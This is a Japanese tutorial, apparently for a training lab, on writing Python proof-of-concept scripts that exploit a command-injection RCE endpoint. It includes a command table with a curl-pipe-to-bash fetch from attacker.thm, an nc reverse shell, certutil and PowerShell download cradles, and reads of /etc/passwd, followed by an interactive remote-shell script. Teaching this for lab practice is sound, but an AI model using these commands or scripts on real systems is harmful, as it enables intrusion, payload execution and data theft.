はじめに
Python は柔軟性と豊富なライブラリ群を備えており、セキュリティ検証や Exploit 開発の分野で最も利用されている言語の一つです。
特に、以下のようなタスクで強力な威力を発揮します。
- SQL Injection / SSTI などの インジェクション脆弱性の検証
- Remote Code Execution(RCE)の 再現性ある PoC 作成
- 権限・環境確認などの ポストエクスプロイト自動化
本記事では、Web アプリケーションに存在する RCE 脆弱性を Python で検証・自動化する方法を、教育・演習目的で解説します。
1. RCE(Remote Code Execution)とは
RCE とは、攻撃者が リモートから任意のコマンドを実行できてしまう脆弱性です。
多くの場合、以下のような実装ミスが原因になります。
- ユーザー入力をそのまま
system()/exec()に渡す - 入力値の検証(Validation / Sanitization)が不十分
- コマンドを shell 経由で実行している
RCE が成立すると、攻撃者は以下のような情報を取得できます。
- 実行ユーザー
- OS / カーネル情報
- ネットワーク構成
- アプリケーションの配置ファイル
2. RCE 検証でよく使われる基本コマンド
Linux 環境
| コマンド | 説明 |
|---|---|
whoami |
現在コマンドを実行しているユーザーを表示する |
id |
ユーザー ID(UID)およびグループ ID(GID)を表示する |
uname -a |
OS・カーネルなどのシステム情報を表示する |
cat /etc/passwd |
システムのユーザー情報ファイルを読み取る(権限がある場合) |
ls -la |
ファイル・ディレクトリを権限や所有者付きで一覧表示する |
| `curl http://attacker.thm/shell.sh | bash` |
nc -e /bin/bash <attackbox_ip> <port> |
対象マシンから攻撃者側へ接続するリバースシェルを確立する |
python3 -c 'import pty; pty.spawn("/bin/bash")' |
簡易シェルを対話型(インタラクティブ)シェルに昇格させる |
cat /etc/os-release |
OS 種別確認 |
Windows 環境
| コマンド | 説明 |
|---|---|
whoami |
現在ログインしているユーザーを表示する |
hostname |
システムのホスト名を表示する |
ipconfig /all |
ネットワーク設定の詳細情報を表示する |
net user |
ローカルユーザーの一覧を表示する |
tasklist |
現在実行中のプロセス一覧を表示する |
certutil -urlcache -f http://attacker.thm/shell.exe shell.exe |
外部サーバーから実行ファイルをダウンロードする |
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.thm/shell.ps1')" |
リモートの PowerShell スクリプトをダウンロードして実行する |
3. 想定する脆弱なエンドポイント
以下のような URL が存在すると仮定します。
http://python.thm/labs/lab3/execute.php?cmd=<command>
cmd パラメータに指定した文字列が、そのままサーバー側で実行される構造です。
4. 最小構成の RCE PoC(単発実行)
まずは、1 コマンドだけ実行する最小 PoCから確認します。
import requests
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
command = "whoami"
response = requests.get(TARGET_URL + command)
if response.status_code == 200:
print("[+] Command Output:")
print(response.text)
else:
print("[-] Exploit failed:", response.status_code)
ポイント
-
requestsによるシンプルな GET リクエスト - RCE が成立しているかどうかの検証用途
5. 改良版:インタラクティブ検証シェル
単発実行では効率が悪いため、複数コマンドを連続で検証できる簡易シェルにします。
import requests
from urllib.parse import quote_plus
TARGET_URL = "http://python.thm/labs/lab3/execute.php?cmd="
print("[+] Interactive RCE Shell (type 'exit' to quit)")
while True:
cmd = input("Shell> ").strip()
if cmd.lower() in ("exit", "quit"):
break
url = TARGET_URL + quote_plus(cmd)
response = requests.get(url, timeout=8)
if response.status_code == 200:
print(response.text)
else:
print("[-] Request failed")
なぜ quote_plus() が重要か?
- スペースや
|、&が URL を壊すのを防ぐ - RCE PoC の 安定性が大幅に向上
6. Exploit スクリプトを「ツール」に近づける工夫
実戦や演習では、以下のような機能があると便利です。
- URL エンコード対応
- HTTP タイムアウト設定
- Burp Suite 用プロキシ対応
- 危険コマンドの誤実行防止
これらを加えることで、
「使い捨て PoC」→「再利用可能な検証ツール」 へ進化します。
まとめ
- Python は RCE 検証・PoC 作成に非常に適している
- URL エンコードやタイムアウト処理は 必須
- 単なる Exploit ではなく、再現性・安全性を意識した設計が重要
- 防御視点をセットで理解すると、セキュリティ理解が一段深まる
攻撃を知ることは、防御を強くする最短ルートです。